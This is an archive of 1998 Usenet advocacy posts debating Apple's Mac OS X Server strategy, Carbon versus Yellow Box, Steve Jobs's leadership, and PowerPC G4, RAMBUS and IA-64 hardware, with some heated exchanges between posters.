Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X Server
Date: 20 Oct 98 11:23:29 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B2522334-193AC@206.165.43.138>
References: <362c2209$0$12429@nntp1.ba.best.com>
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nntp://news.primenet.com/comp.sys.mac.advocacy
Kenneth C. Dyke <kcd@babylon5.jumpgate.com> said:
>On 10/19/98, "Lawson English" wrote:
>>
>>Excuse. I was under the impression that enhanced QuickDraw was part of
>>the Carbon API. It is not?
>
>From what I recall at WWDC, eQD is part of the common OS services layer
>beneath both Carbon and YellowBox. The new Window Server is also
>included in that layer.
OK, that's what I actually meant to say. eQD isn't a "client-side graphics
engine" under X, but THE graphics engine under X. On the 8.x side of the
story, I imagine it would be an add-on library ala GX (although not nearly
as functional :-()
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X Server
Date: 20 Oct 98 11:24:28 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B252236F-1A196@206.165.43.138>
References: <F14q8r.C47@T-FCN.Net>
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Maury Markowitz <maury@remove_this.istar.ca> said:
>In <B251257B-83E3E@206.165.43.67> "Lawson English" wrote:
>> Excuse. I was under the impression that enhanced QuickDraw was part of
>the
>> Carbon API. It is not?
>
> Sigh. Let me rephrase your question - do you think QuickTime is a part
>of the Carbon API?
???
Sigh.
You're in a pissing contest with me, Maury, and I just won't play.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
Date: Tue, 20 Oct 1998 13:39:49 -0500
Organization: Ericsson North America Inc.
Message-ID: <362CD8F5.27CBFE58@ericsson.com>
References: <jayfar-1810981622540001@ppp134.blackbox1-mfs.netaxs.com> <B2502546-2F8EE@206.165.43.5>
<70fddn$rts$1@nnrp1.dejanews.com> <70g0tl$mdh$4@news.xmission.com>
<70g2s9$t17@shelob.afs.com> <ch3-1910982007530001@1cust104.tnt5.redmond.wa.da.uu.net>
<70h3s8$e1r$2@birch.prod.itd.earthlink.net> <ch3-1910982238540001@1cust104.tnt5.redmond.wa.da.uu.net> <F14qsH.CE2@T-FCN.Net>
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Maury Markowitz wrote:
> This is entirely different than what they were doing. They were doing
> "server" and telling everyone to upgrade.
They were doing MacOS and OPENSTEP and telling developers that they now
had an upgrade option.
> This is _significantly_
> different than the current strategy and in retrospect it appears Jobs was
> correct in thinking it was going to fail.
I don't know how you get this "in retrospect". What signs have we that
*failing* to ship a completely new operating system is better than
*succeeding* in shipping the already-highly-acclaimed OPENSTEP?
I'll take the strategy we might have had in early 1997 over the strategy
we still don't have in late 1998, Genius Jobs and his tactics aside.
> As to calling it OPENSTEP that name has little cachet outside the
> OpenStep world, and those inside the OS world care little about the names.
> The people that are going to buy Server are the current OS users (the ones
> that will buy a Mac - that's my big complaint) and real server users. I
> don't see the big panic that everyone assumes is out there.
What you call "panic" is actually the continual, tired, dogged criticism
of Jobs' (and others within Apple) idiotic actions for *YEARS*. In fact,
you've been calling this criticism "panic" and "hysteria" for years
yourself. Funny how it never seems to lose its transience in your
characterizations.
[cut]
MJP
From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Date: 22 Oct 1998 02:12:03 GMT
Organization: University of Maryland, College Park
Message-ID: <70m49j$u8h$2@hecate.umd.edu>
References: <tim-1610981917060001@jump-tnt-0198.customer.jump.net> <B24D52F0-27B86@206.165.43.171> <F16L3y.6I7@T-FCN.Net>
Maury Markowitz (maury@remove_this.istar.ca) wrote:
: In <christian.bau-2010981031270001@christian-mac.isltd.insignia.com>
: Christian Bau wrote:
: > Interleaving memory only helps if you have two memory banks that both need
: > two or more cycles between delivering data - interleave them and you go
: > down to one cycle. But todays SDRAM memory has a long latency and then
: > delivers data every bus cycle, so interleave doesnt help (unless you
: > increase the bus to 166MHz so your memory is down to two bus cycles).
: A most excellent summation, thanks.
There is another way multibanked memory *can* help. As we know, most memory
accesses in "average" applications is for cacheline fills. That works
well for SDRAM, as you take the latency hit for the first chunk, then
take the other 3 in a burst. However, if the processor can continue to
execute, and not block for the memory access, then there is a possibility
that it will hit another memory access. If you only have 1 bank of
memory, then you wait until the cacheline fill is done, then you talk to
the memory again to request another fill. However, if you have 2 banks
or 4 banks, AND the second access is on a different bank than the first,
then you can start the access on the second line before the first line
completes. In this manner, you can partly "hide" the latency of the second
cache line fill.
I'm not sure if anyone is interleaving SDRAM at this time, it would
probablly add very little performance for very little cost. If anyone's
doing it, it would have to be in a server somewhere.
: > To improve latency, you need faster memory :-( or have some clever tricks
: > to read the memory before it is actually needed. To improve bandwidth,
: > today you need a wider bus.
: How exactly does RAMBUS (and that clone of it) work? Is it basically
: just another type of chip, or is the bus itself qualitatively different?
The original RAMBUS is only 8 bit wide, and 533 MHz IIRC. For some
reason, Intel decided to make RAMBUS its next generation memory standard,
and invested heavily in RAMBUS, and now Micron to ensure a steady US
supplier of RAMBUS chips. The new RAMBUS spec is for something that is
16 bit wide and 800 MHz, or was it 900? Fundamentally, RAMBUS RAM is just
like any other memory chip. It's just RAM, a capacitors hanging off of the
edge of a transistor. The difference is in the added RAMBUS interface.
currently the first generation of RAMBUS chips has something like a 30%
area overhead for the interface. RAMBUS claims that it can eventually
be reduced to something like 5% area overhead, which makes it cost
competative with plain DRAM.
: Maury
--
davewang@kagututi.kecl.ntt.co.jp.meaningless
All statements are personal opinions
Not speaking for NTT or University of Maryland
Nara, Japan.
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Macweek: OS X Server alive and well
Date: Tue, 20 Oct 1998 19:12:43 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <70inbb$4r3$1@nnrp1.dejanews.com>
Macweek just put up an article entitled: "OS X Server alive and well"
The main point:
"Apple confirmed today that Mac OS X Server has not been canceled, as online
reports have suggested, and will ship in 1998. "As Apple has said, Mac OS X
Server is on track to ship this year," Apple spokeswoman Staci Sheppard told
MacWEEK.com. "
see http://macweek.zdnet.com/1998/10/19/osxserver.html
Still no exact date, though (just "in 1998") and still no word on pricing.
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X Server
Date: 22 Oct 1998 03:27:13 GMT
Organization: Digital Fix Development
Message-ID: <70m8mh$ehe$1@news.digifix.com>
References: <F170C6.Epu@T-FCN.Net> <B253CCA3-29A64@206.165.43.156>
In-Reply-To: <B253CCA3-29A64@206.165.43.156>
On 10/21/98, "Lawson English" wrote:
>Maury Markowitz <maury@remove_this.istar.ca> said:
>
>>Ask yourself this, what _exactly_ would Carbon on PC's do for
anyone?
>>Would it offer PC people something they want?
>
>
>
>Giving Mac-only developers with legacy Mac-only code a way of porting
to
>the PC without rewriting for Windows *OR* YB? Suddenly boosts the
Mac-first
>numbers by a good bit and gives developers another alternative to
using
>MS's cross-platform code.
>
I honestly don't know HOW you come to the conclusion that
developers will write Mac-first using the Carbon APIs.
Making Carbon cross-platform only removes the reason for
current Mac users to buy Macs instead of Intel boxes.
Doing this in a slow, over-time manner with YB gives Apple a
chance to transfer their income to a software based stream instead of
a hardware based one...
The key is to make NEW development for the Mac attractive by
removing the need to choose one or the other platform.
--
Scott Anguish <sanguish@digifix.com>
Stepwise - OpenStep/Rhapsody Information
<URL:http://www.stepwise.com>
From: amaliy1@uic.edu (Anil T Maliyekke)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Date: 19 Oct 1998 20:42:13 GMT
Organization: University of Illinois at Chicago
Message-ID: <70g875$l0i$1@piglet.cc.uic.edu>
References: <tim-1610981917060001@jump-tnt-0198.customer.jump.net> <B24D52F0-27B86@206.165.43.171> <F1306A.3AF@T-FCN.Net> <70ftih$2ego$1@piglet.cc.uic.edu> <70g273$knp@newsb.netnews.att.com>
gupta@knim.tm.tta.moc-mirrorafter@ wrote:
: Anil T Maliyekke <amaliy1@uic.edu> wrote:
: >
: >MacKiDo claims that the G4 will have a double precision multiply optimized
: >FP unit, like the 604(e), 620 and the various POWER1/2/3 processors.
: >If this is true, floating point performance will likely be much
: >better and with the increased bandwidth it should be evident
: >on SPECfp95.
: Supposedly, the SPECfp95 on the 400 MHz G4 is up 50% from the 366 MHz G3.
: (That would put the SPECfp95 around 15).
: -arun gupta
That still depends what they were comparing 400MHz G4 to. They
may have been comparing it to a 400MHz PPC 750 using a 64 bit
100MHz bus, which is benched around 12, in which case 18
would be a reasonble number, depending on the memory subsystem.
For referance consider the 333MHz 604e RS/6000 F50, which uses
a memory system that provides 1.3GB/s bandwidth to both
the memory and to the small 8-way 256KB L2 on the front side
bus. It also comes in around 12. The 166MHz 604e system with
the same memory subsystem comes in around 7.5. You can tell,
that the FPU is hungry since the numbers aren't scaling
linearly with clock speed. With a double precision optimized FPU, a fast
and wide backside interface to a larger cache, memory streaming
instructions, and 1.6GB/s bandwidth to main memory, a processor
could do quite well on SPECfp95.
Anil
From: ckoller@worldnet.att.net (Craig Koller)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X Server
Date: 19 Oct 1998 22:41:04 GMT
Organization: MediActive
Message-ID: <ckoller-ya02408000R1910981543320001@netnews.worldnet.att.net>
References: <ckoller-ya02408000R1910981247230001@netnews.worldnet.att.net> <362BA01B.D0CA294E@ericsson.com>
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In article <362BA01B.D0CA294E@ericsson.com>, Michael Peck
<Michael.Peck@ericsson.com> wrote:
> Let me get this straight: MacOS wasn't good enough, and Rhapsody ports
> wouldn't be written, so the proper solution is to wait until 1999 to
> ship a re-vamp of the old MacOS Toolbox? In other words, instead of
> shipping Rhapsody right away and improving MacOS in the meantime, it was
> better to let MacOS stagnate and push Rhapsody way out?
>
> Ah, I see. Very good. Carry on.
No, you don't see. The proper course is to bolster MacOS, thus 8.0, 8.1,
8.5 and give it the marketing support it deserves, while you prepare a
transition strategy for Mac apps to OS X, as well as the ability for new
apps to be written for the YB, including existing NeXT-based apps. As for
Carbon - if it has PMT and protected memory, who cares? That's what users
want - speed and stability. Whatever accomplishes that wins. If Adobe blows
off YB, and instead ships PShop only for the Blue Box, then Apple is hosed
via Rhapsody. NT wins.
What part of this scenario don't you get? Come back and tell us how to do
it, when something like the Apple mess of 1997 gets dumped in your lap and
*you* have to sort out all the pieces...
>
> > What are you talking about? Developers can make their apps buzzword
> > compliant easily via Carbon
>
> They *can*? You've got a Carbon-based OS in front of you, eh?
First off, developers can test for Carbon compliance today. Secondly - and
more importantly - a sound, profitable Apple means a *LOT* more to
developers than shipping Rhapsody apps. You ship for MacOS today, to a
viable platform, and make money today.
>
> "YB-or-bust" my ass. You obviously didn't listen to Amelio as carefully
> as you claim to have.
YB or Blue Box. It's either new (ground-up) or old (same old code,
non-buzzword compliant). Wanna school me on what's missing here? If an OS
lands on your computer and no one develops for it, does it make a profit?
Think about it.
>
> > NeXT developers can run their apps in the YB of MacOS X Server, and as for
> > the 3D strategy (OpenGL, right?), my understanding is that Jobs has been
> > open about supporting it, but then what happens to QD3D? See, if he boots
> > that, then we have *another* hue and cry that Apple's being unethical.
>
> QD3D is already dead.
Killed by the unethical Steve Jobs, no doubt.
>
> > See, none of this has anything to do with ethics. I don't hear collective
> > howling in the Rhapsody developer community, calling for Jobs' head. And
> > all this you point out comes within weeks of MacOS X Server's roll-out. I
> > suppose until you have a shrink-wrapped box in your hand, you'll continue
> > to insists that Apple's out to destroy it's loyal Rhapsody community...
>
> Yep. As long as Apple fails to ship it's long-overdue
> Copland-then-Rhapsody-then-MacOS X Server product, I will claim that
> Apple is destroying the NeXT community. You got it.
So you're saying the good of the NeXT community, from a $400M company
supercedes that of Apple, a $6+B company?
What planet are you living on, Michael?
>
> [cut]
>
> > > What does this mean?!
> >
> > Look at the iMac! What is it? It's a Macintosh like the first Macintosh!
> > Apple's sticking to its knitting, making machines and an OS that attracts
> > customers. Not PDA's, not Pippin's, not splattering a mindless cloud of
> > technology blips (Hot Sauce? OpenDoc? ScriptX? ...) that do little more
> > than create confusion and another battle front against Microsoft.
>
> The important thing about the iMac is that it was finished and shipped,
> not that it was "square one". Lack of execution is Apple's problem, not
> a "mindless cloud of technology blips". Speaking of lack of execution,
> Apple *still* has that problem.
Square one = the prime directive. The Apple *BRAND IDENTITY* is personified
in the iMac and in MacOS. Apple *is* executing because its gotten back to
its roots. *Not* NeXT roots - Apple roots.
>
> > "Square One" means make the Macintosh the best, most desireable computer
> > there is, period.
>
> Please, please. The phlegm is out of control already.
See, you don't get it. "Best" means price, means features, means
perception, means marketing. I'm not dropping to my knees for Stevo, I'm
saying these are marketing decisions *NOT* technology decisions. Microsoft
is a pure marketing entity. Apple has been a technology anarchy which, at
*least*, has to have a 50/50 split.
You're so obviously frothing at Apple, I doubt anything *anybody* could
write here would change your mind...
>
> > You got a problem with Sherlock? Gosh, I guess simplifying web searches and
> > making them more powerful has no value to you. Much of this is Jobs
> > repackaging the same old technology that we saw floating around Apple for
> > years (V-Twin? Gimme a break, it's been around forever) and making it a
> > compelling MacOS feature for customers.
>
> I have no problem with Sherlock. I have a problem with the suggestion
> that MacOS is being aggressively developed. As you yourself said, "it's
> been around forever".
But it *is.* "More native code?" Who cares! That's not going to sell a $99
upgrade. Features are. One killer feature, properly deployed, means more
than all the under-the-hood improvements, as far as consumers are
concerned. Yet, Apple is making under-the-hood changes...
>
> > > I can drop names, too: Exponential
> >
> > Exponential never delivered on its promises while Moto and IBM were able to
> > provide near similar performance on a cheap chip that would function in
> > either a desktop or laptop. It would have been suicide for Apple to cling
> > to Exponentials diminishing returns...
>
> I can see we're in for a wild ride. Hang on, folks, the spin is just
> getting started...
What was the price for each EXP chip? What were the cooling requirements?
The wattage? Availability? Good God, Moto and IBM have problems shipping
and people scream bloody murder, you're telling me Apple's supposed to tie
its high-end future into Expo? You're high... you're seriously high ...
Expo was foolish to bank the whole enchilada on one board room. If they
were smart they would have had the upgrade card vendors on board with
700-based products that had high-end users foaming at the mouth. They
didn't. They were vulnerable. Apple picked a cheaper chip from a known
quanitity and Expo tanked.
My best friend lost a chunk of money on that deal. His opinion on the
subject as well.
>
> > MacOS 8.5 works fine on a 60X-based PowerMac and clone.
>
> So? Why should I care about MacOS 8.5? (save yourself the trouble if
> we're going to get another Sherlock spiel)
Don't, Michael. Suit yourself. Let the people who consider the feature set
worthwhile to buy it...
>
> > MacOS X Server will
> > work fine on PCI Macs and clones. And there's every indication that MacOS X
> > will do the same.
>
> Bonus! So my mother's machine will be supported?
Hell if I know... email Steve.
>
> > Yeah, Steve probably engineered that to happen personally.
>
> Are you attached at the hip, or what?
C'mon, you're blaming Steve Jobs for your dad's video card breaking? Did he
kill your puppy as a child or something? What's the deal with your grudge
against this guy?
>
> > > You asked for it, you got it. Nobody deserves anything like the Mac
> > > market deserves Jobs...
> >
> > Finally, something we agree on.
>
> I'll let DejaNews save this one for the sweet irony 12 months from now.
No more ironic than the Jobs bashers saying Apple was going to tank under
his leadership nine months ago...
>
> MJP
Y'know, Microsoft is out there just waiting to embrace those who can no
longer stand Steve's evil tyranny. If you feel better served by Bill, then
glom on. As it stands, and as far as I'm concerned, Apple has a clear
strategy and promise to the users and developers and I'll judge this based
on Jobs' promises, not Amelio, not Spindler, not Sculley.
And the first promise, aside from OS, hardware, etc. is a return to
profitability of the company (remember the *investors* are Jobs' ultimate
boss) and viability of the Mac platform itself. I'm amazed that here we
have Jobs reversing a two year slide into $BILLION losses and you take this
for granted. You also make light of the tricky balance of satisfying
investors, developers, users and the engineers inside Apple.
This all started when you said there was no difference between the ethics
of Microsoft and Apple. I disagree, and nothing you've said has proved
differently. If you want to assume otherwise, and delude yourself that I'm
merely towing the Stevareeno party line, go for it. Feel free to trot this
out a year from now. I'm confidant Apple's house will be more in order than
it has been in a decade.
You (or Deja News) can quote me on that.
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X Server
Date: Mon, 19 Oct 1998 18:12:07 -0500
Organization: Ericsson North America Inc.
Message-ID: <362BC747.D3ADBA50@ericsson.com>
References: <ckoller-ya02408000R1910981247230001@netnews.worldnet.att.net> <362BA01B.D0CA294E@ericsson.com> <ckoller-ya02408000R1910981543320001@netnews.worldnet.att.net>
Mime-Version: 1.0
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Craig Koller wrote:
[cut]
> What planet are you living on, Michael?
It's too bad that USENET doesn't come in audio versions. I would love to
do a little skit sometime; a black screen, dates appear and fade out as
various voices intone "What colour is the sky on your planet?" and "You
don't know what the hell you're talking about".
Someday when it's all over...I think that that would be sort of funny.
To me, anyway.
[cut]
> You're so obviously frothing at Apple, I doubt anything *anybody* could
> write here would change your mind...
Good point. It sounds like you're saying, "We can't spin Apple's actions
to change your mind, only Apple's actions can change your mind". You've
got it, precisely.
[cut]
> What was the price for each EXP chip? What were the cooling requirements?
> The wattage? Availability? Good God, Moto and IBM have problems shipping
> and people scream bloody murder, you're telling me Apple's supposed to tie
> its high-end future into Expo? You're high... you're seriously high ...
Ironic that you're both complaining about chip shortages and also
excusing the forced death of an important supplier. RDF in training.
[cut]
> Y'know, Microsoft is out there just waiting to embrace those who can no
> longer stand Steve's evil tyranny. If you feel better served by Bill, then
> glom on.
I'm better served by my own intellect than by someone else's. I'm not
looking for someone to whom I might pledge my allegiance, the way you
suggest, and the way you apparently choose to engage the industry.
[cut]
> Feel free to trot this
> out a year from now. I'm confidant Apple's house will be more in order than
> it has been in a decade.
>
> You (or Deja News) can quote me on that.
Thanks. Hopefully in a year I'll be so important that I won't have time
for USENET, but that's just fantasy. At the very least I hope more
important things occupy my time than Apple's latest inevitable
court-jester act. But you should feel free to analyze the results; I
believe you'll have good reason to do so.
MJP
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
From: adt@netcom.com (Anthony D. Tribelli)
Subject: Re: Apple as Linux vendor
Message-ID: <adtF13LHK.1sF@netcom.com>
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Organization: ICGNetcom
References: <19981004210108.24477.00005169@ng150.aol.com> <keyes-ya02408000R0510980922490001@news> <70cesn$26p$2@news.idiom.com>
Date: Mon, 19 Oct 1998 23:34:32 GMT
Sender: adt@netcom4.netcom.com
John C. Randolph (jcr.remove@this.phrase.idiom.com) wrote:
: GCC has code generators available for more processors than any other
: compiler, and its code quality is rarely exceeded by anything but
: special-purpose, single-target compilers produced by the chip manufacturer.
A myth, the quality of gcc code is spotty, good for some targets and
mediocre for others. Try commercial compilers for Pentium and PowerPC.
Tony
--
------------------
Tony Tribelli
adtribelli@acm.org
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
From: adt@netcom.com (Anthony D. Tribelli)
Subject: Re: Motorola's G4 PowerPC
Message-ID: <adtF13LBG.1Jx@netcom.com>
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Organization: ICGNetcom
References: <3629900d$0$7319@nntp1.ba.best.com> <B24EE913-10EC3@206.165.43.120> <362a2bcc$0$7314@nntp1.ba.best.com>
Date: Mon, 19 Oct 1998 23:30:52 GMT
Sender: adt@netcom4.netcom.com
Kenneth C. Dyke (kcd@babylon5.jumpgate.com) wrote:
: FWIW, there are no 64x64 -> 128 bit multiply instructions currently
: defined for the PowerPC architecture. The upshot of that is that
: you'll have to execute two multiplies (each one will give you either
: the uppor or lowen 64 bits of the 128 bit result) and then manually
: extract the correct 32 bits from each result to get the 64-bit fixed
: point result again. That's at least 4 instructions. If I use the FPU
: instead, it only takes one, and I can also do a floating point add 'for
: free'.
:
: So yeah Lawson, maybe in some hypothetical CPU that exists in your
: universe, using fixed point math could be made to be faster. I'll
: stick with the known universe in this case and go with floating point.
First, if you feel a need to vent frustration and have chosen the fixed
point option as a means to do so you might at least pick the correct
target. I introduced the idea, I'll add that it was in the context of
showing that algorithms can benefit from 64-bit registers, that 64-bit is
not exclusively for addressing memory.
Second, while your above post is largely correct it is a little narrow
minded. The full 64-bit range of values is not necessarily needed for the
coordinate system. A coordiate system can be chosen so that a full 128-bit
product is not required, as 32-bit environments did not always require a
64-bit product. The same tricks can be employed, it's just the 64-bit
environment is less restrictive. Secondly there is a value in having your
coordinates use the same data types as the rendering API. Fp/int
conversion may not be required. The extra overhead of fixed point
operations may not always be required either. I can remove the fixed point
scaling as part of a 3D world to 2D viewport transformation. If a 64-bit
PowerPC implementation has more int units than fp units then even more
optimization opportunities are available. I'm not saying fixed point is
always the way to go, but I am saying it is a little premature to discount
the option.
Tony
--
------------------
Tony Tribelli
adtribelli@acm.org
From: JediofMacs@MANGOaol.com (tdean)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X Server
Date: Mon, 19 Oct 1998 19:46:18 -0500
Organization: Lightlink Internet
Message-ID: <JediofMacs-1910981946190001@isdn2-12.lightlink.com>
References: <ckoller-ya02408000R1910981247230001@netnews.worldnet.att.net> <362BA01B.D0CA294E@ericsson.com> <ckoller-ya02408000R1910981543320001@netnews.worldnet.att.net> <362BC747.D3ADBA50@ericsson.com>
In article <362BC747.D3ADBA50@ericsson.com>, Michael Peck
<Michael.Peck@ericsson.com> wrote:
>
> Thanks. Hopefully in a year I'll be so important that I won't have time
> for USENET
>
> MJP
Why would you want to be THAT important? Sounds pretty miserable.
--
Remove "MANGO" from email adress to contact me
From: amaliy1@uic.edu (Anil T Maliyekke)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Press reports of Apple's profits
Date: 19 Oct 1998 23:20:59 GMT
Organization: University of Illinois at Chicago
Message-ID: <70ghgr$2kss$1@piglet.cc.uic.edu>
References: <70e9kf$20ju$1@piglet.cc.uic.edu> <362AB758.F311A1BD@nstar.net>
Michael J. Peck (mjpeck@nstar.net) wrote:
: Anil T Maliyekke wrote:
: > Seems a bit bandwidth intensive, especially if you are talking
: > about dragging and dropping multiple files or putting large graphic
: > objects into the clipboard.
: The server is the broker between the two programs. Some entity has to
: maintain the clipboard and respond to requests for storage/retrieval.
: Is there another way to accomplish the same thing? I'm all ears.
There isn't a way in the general case of not knowing if
the X server and the various applications running on the same
machine, if you want to avoid direct application to application
communication. A way of neogotiating a direct connection between
the two applications would otherwise be a good idea, especially in the
case of drag and drop of multiple large files. Otherwise in the
case where you have some sort of file manager program running on
a machine where it has access to a bunch of pictures and then you have
a file viewer running on that same machine or a different machine,
neither of which are running the X server, you would be doing
two transfers of data and over a network no less. Plus you might
overload your little X terminal's memory if you start moving large objects
through it.
From: tbrown@netset.com (Ted Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.programmer.misc,comp.sys.next.advocacy
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
Date: Mon, 19 Oct 1998 19:48:05 -0400
Organization: http://www.supernews.com, The World's Usenet: Discussions Start Here
Message-ID: <tbrown-1910981948050001@mv068.axom.com>
References: <B250EAC6-A1CDC@208.254.112.93> <362B80DE.11DC6B0D@voy.net>
In article <362B80DE.11DC6B0D@voy.net>, winesett@voy.net wrote:
>I've seen no update from Crabb, but http://www.macosrumors.com says
>OSXS has gone Golden Master.
>
>"Two men say they're Jesus, one of them must be wrong" - Dire Straits
>
>Of course, with these sources, the most likely possiblity is that they
>are both wrong.
Nope, both could be right. The part of Apple responsible for
testing/developing OS X Server could have declared it 'Golden Master'.
The marketing department (still puzzled over what to do with OS X Server
and how users will perceive it vs. OS X) have been pushing to cancel the
release ("It'll be less confusing"). That's complete conjuecture, but
seems to fit the pattern (or rather, lack of one) coming from Apple.
I sure hope that Apple doesn't make us _wish_ for Stealth Marketing, where
at least you can buy the product. At the least Apple could quietly
release OS X Server (it shouldn't have the 'Mac OS' in the title, then the
confusion wouldn't exist), and offer it as a config on the G3 Machines,
and as a separate software purchase. Price it low as an apology to the
Enterprise Market for the nebulous future of the Intel version.
--
tbrown@netset.com
From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: AMD K7 info Re: Motorola's G4 PowerPC
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Date: 22 Oct 1998 04:49:30 GMT
Organization: University of Maryland, College Park
Message-ID: <70mdgq$pll$1@hecate.umd.edu>
References: <70jml1$2ska$1@piglet.cc.uic.edu> <70jod0$c70$1@hecate.umd.edu> <70ksut$181k$1@piglet.cc.uic.edu> <70m1n8$u8h$1@hecate.umd.edu> <70m92s$11n2$1@piglet.cc.uic.edu>
Anil T Maliyekke (amaliy1@uic.edu) wrote:
: David T. Wang (davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu) wrote:
: : I a way I do agree with you. AMD in a sense is still learning to walk.
: : Finally, it has a respectable product (K6), and it also looks good
: : (on paper) for K7. So concentrate on walking steadily before trying to
: : fly with the big boys. However, as I mentioned, it takes a numbers of
: : years to bring a core to fruition, and if Intel successfully brings
: : IA-64 into fruition, then that would become a weapon in Intel's
: : segmentation strategy, keeping IA-64 in the server/workstation market,
: : to feed the profit margin, and to bombard all else with IA-32 on the
: : low end. This senario ofcourse depends on all parties involved execute
: : their stated product plans in 3 years, so it is very iffy. However,
: : IMO, battling with K7++ in the workstation/low end server market would
: : not be a feasible strategy at that time.
: Only if IA-64 shows a demonstrable advantage on server/workstation
: benchmarks. Supposedly Intel indicated last week that Foster (the PII
: follow-up) would perform as well as Merced on SPECint95, and that Foster
: would outperform it on FP. So that will likely mean Merced won't make
: headway in the low end of the server market, especially if there is
: pricing pressure from other architures and designs. Intel will have
: a hard time finding a way to segment market in all likelihood.
Merced would perhaps then be a target vehicle for migration of apps to
IA-64. It would run x86, PA-RISC, and IA-64 binaries. Also, in 3 years,
the target should be the McKinley vaporchip, not the Merced vaporchip.
--
davewang@kagututi.kecl.ntt.co.jp.meaningless
All statements are personal opinions
Not speaking for NTT or University of Maryland
Nara, Japan.
From: amaliy1@uic.edu (Anil T Maliyekke)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: AMD K7 info Re: Motorola's G4 PowerPC
Date: 22 Oct 1998 03:33:48 GMT
Organization: University of Illinois at Chicago
Message-ID: <70m92s$11n2$1@piglet.cc.uic.edu>
References: <70jml1$2ska$1@piglet.cc.uic.edu> <70jod0$c70$1@hecate.umd.edu> <70ksut$181k$1@piglet.cc.uic.edu> <70m1n8$u8h$1@hecate.umd.edu>
David T. Wang (davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu) wrote:
: I a way I do agree with you. AMD in a sense is still learning to walk.
: Finally, it has a respectable product (K6), and it also looks good
: (on paper) for K7. So concentrate on walking steadily before trying to
: fly with the big boys. However, as I mentioned, it takes a numbers of
: years to bring a core to fruition, and if Intel successfully brings
: IA-64 into fruition, then that would become a weapon in Intel's
: segmentation strategy, keeping IA-64 in the server/workstation market,
: to feed the profit margin, and to bombard all else with IA-32 on the
: low end. This senario ofcourse depends on all parties involved execute
: their stated product plans in 3 years, so it is very iffy. However,
: IMO, battling with K7++ in the workstation/low end server market would
: not be a feasible strategy at that time.
Only if IA-64 shows a demonstrable advantage on server/workstation
benchmarks. Supposedly Intel indicated last week that Foster (the PII
follow-up) would perform as well as Merced on SPECint95, and that Foster
would outperform it on FP. So that will likely mean Merced won't make
headway in the low end of the server market, especially if there is
pricing pressure from other architures and designs. Intel will have
a hard time finding a way to segment market in all likelihood.
: : Maybe, or maybe some of them are working on the K7. I don't know if
: : AMD can afford to have multiple large teams working on three generations
: : of CPUs at the same time.
: That was my point, K6-2 and K6-3 aren't a "new generation" design.
: Also, IIRC, AMD's two design teams are located quite far apart as well.
: Texas and California? (for some reason that thought is in the back of my
: head. I cannot recall a reference to this.)
The California team is the NexGen team. Maybe they convinced some people
to move.
: --
: davewang@kagututi.kecl.ntt.co.jp.meaningless
: All statements are personal opinions
: Not speaking for NTT or University of Maryland
: Nara, Japan.
From: "Todd Heberlein (todd at NetSQ dot com)" <todd@dev.null>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Date: 22 Oct 1998 04:29:09 GMT
Organization: Net Squared, Inc.
Message-ID: <01bdfd72$140c6e60$06387880@chewy>
